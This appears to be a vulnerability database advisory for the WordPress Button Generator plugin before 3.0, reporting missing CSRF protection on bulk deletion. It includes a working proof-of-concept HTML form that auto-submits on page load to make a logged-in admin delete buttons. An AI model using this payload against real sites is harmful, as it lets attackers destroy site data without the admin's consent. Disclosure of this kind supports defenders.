WordPress Plugin Vulnerabilities

Button Generator < 3.0 - Button Deletion via CSRF

Description

The plugin does not have CSRF check in place when bulk deleting, which could allow attackers to make a logged in admin delete buttons via a CSRF attack

Proof of Concept

Make a logged in admin open an HTML file containing:

```
<body onload="document.forms[0].submit()">
    <form action="https://wps-test.ddev.site/wp-admin/admin.php?page=button-generation" method="POST">
        <input type="text" name="ID" value="1" />
        <input type="text" name="action" value="delete-items" />
        <input type="text" name="action2" value="delete-items" />
        action
        <input type="submit" value="submit">
    </form>
</body>
```

Affects Plugins

Fixed in 3.0

References

Classification

Miscellaneous

Original Researcher
Bob Matyas
Submitter
Bob Matyas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2024-04-11 (about 1 months ago)
Added
2024-04-11 (about 1 months ago)
Last Updated
2024-04-11 (about 1 months ago)

Other